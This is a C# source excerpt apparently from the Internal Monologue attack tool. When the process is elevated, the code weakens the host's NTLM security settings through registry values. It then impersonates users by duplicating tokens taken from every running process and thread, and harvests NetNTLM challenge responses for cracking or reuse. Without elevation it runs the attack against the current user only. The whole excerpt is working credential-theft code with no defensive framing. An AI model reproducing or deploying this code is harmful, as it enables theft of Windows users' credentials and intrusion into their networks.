public InternalMonologueConsole Go()
        {
            var console = new InternalMonologueConsole();

            //Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated
            isElevated = IsElevated();
            if (isElevated)
            {
                if (verbose == true)
                {
                    console.AddConsole("Running elevated\n");
                }
                object oldValue_LMCompatibilityLevel       = null;
                object oldValue_NtlmMinClientSec           = null;
                object oldValue_RestrictSendingNTLMTraffic = null;
                if (downgrade == true)
                {
                    if (verbose == true)
                    {
                        console.AddConsole("Performing NTLM Downgrade\n");
                    }
                    //Perform an Extended NetNTLM Downgrade and store the current values to restore them later
                    ExtendedNTLMDowngrade(out oldValue_LMCompatibilityLevel, out oldValue_NtlmMinClientSec, out oldValue_RestrictSendingNTLMTraffic);
                }

                if (impersonate == true)
                {
                    if (verbose == true)
                    {
                        console.AddConsole("Starting impersonation\n");
                    }
                    foreach (Process process in Process.GetProcesses())
                    {
                        var response = HandleProcess(process, challenge, verbose);
                        if (response != null)
                        {
                            console.AddConsole(string.Format("{0}\n", response.Output()));
                            console.AddResponses(response.Responses);
                        }
                        if (!threads)
                        {
                            continue;
                        }
                        foreach (ProcessThread thread in process.Threads)
                        {
                            response = HandleThread(thread, challenge, verbose);
                            if (response == null)
                            {
                                continue;
                            }
                            console.AddConsole(string.Format("{0}\n", response.Output()));
                            console.AddResponses(response.Responses);
                        }
                    }
                }
                else
                {
                    if (verbose == true)
                    {
                        console.AddConsole("Performing attack on current user only (no impersonation)\n");
                    }
                    var response = InternalMonologueForCurrentUser(challenge);
                    console.AddResponse(response);
                    console.AddConsole(string.Format("{0}\n", response.ToString()));
                }

                if (downgrade == true && restore == true)
                {
                    if (verbose == true)
                    {
                        console.AddConsole("Restoring NTLM values\n");
                    }
                    //Undo changes made in the Extended NetNTLM Downgrade
                    NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
                }
            }
            else
            {
                //If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user
                if (verbose == true)
                {
                    console.AddConsole("Not elevated. Performing attack with current NTLM settings on current user\n");
                }
                var response = InternalMonologueForCurrentUser(challenge);
                console.AddResponse(response);
                console.AddConsole(string.Format("{0}\n", response.ToString()));
            }
#if DEBUG
            Console.WriteLine(console.Output());
#endif
            return(console);
        }
        public InternalMonologueConsole HandleThread(ProcessThread thread, string challenge, bool verbose)
        {
            var console = new InternalMonologueConsole();

            try
            {
                var    token = IntPtr.Zero;
                string SID   = null;

                //Try to get thread handle
                var handle = OpenThread(0x0040, true, new IntPtr(thread.Id));

                //If failed, return
                if (handle == IntPtr.Zero)
                {
                    return(null);
                }

                if (OpenThreadToken(handle, 0x0008, true, ref token))
                {
                    //Get the SID of the token
                    SID = GetLogonId(token);
                    CloseHandle(token);
                    if (!ValidateSID(SID, verbose))
                    {
                        return(null);
                    }

                    if (OpenThreadToken(handle, 0x0002, true, ref token))
                    {
                        var sa = new SECURITY_ATTRIBUTES();
                        sa.nLength = Marshal.SizeOf(sa);
                        var dupToken = IntPtr.Zero;

                        DuplicateTokenEx(
                            token,
                            0x0002 | 0x0008,
                            ref sa,
                            (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                            (int)1,
                            ref dupToken);

                        CloseHandle(token);

                        try
                        {
                            using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
                            {
                                if (verbose == true)
                                {
                                    console.AddConsole(string.Format("Impersonated user {0}\n", WindowsIdentity.GetCurrent().Name));
                                }
                                var result = InternalMonologueForCurrentUser(challenge);
                                //Ensure it is a valid response and not blank
                                if (!result.Resp1.IsNullOrWhiteSpace())
                                {
                                    console.AddResponse(result); //rich data object for consumer classes
                                    console.AddConsole(string.Format("{0}\n", result));
                                    authenticatedUsers.Add(SID);
                                }
                                else if (verbose == true)
                                {
                                    console.AddConsole(string.Format("Got blank response for user {0}\n", WindowsIdentity.GetCurrent().Name));
                                }
                            }
                        }
                        catch
                        { /*Does not need to do anything if it fails*/ }
                        finally
                        {
                            CloseHandle(dupToken);
                        }
                    }
                }
            }
            catch (Exception)
            { /*Does not need to do anything if it fails*/ }
            return(console);
        }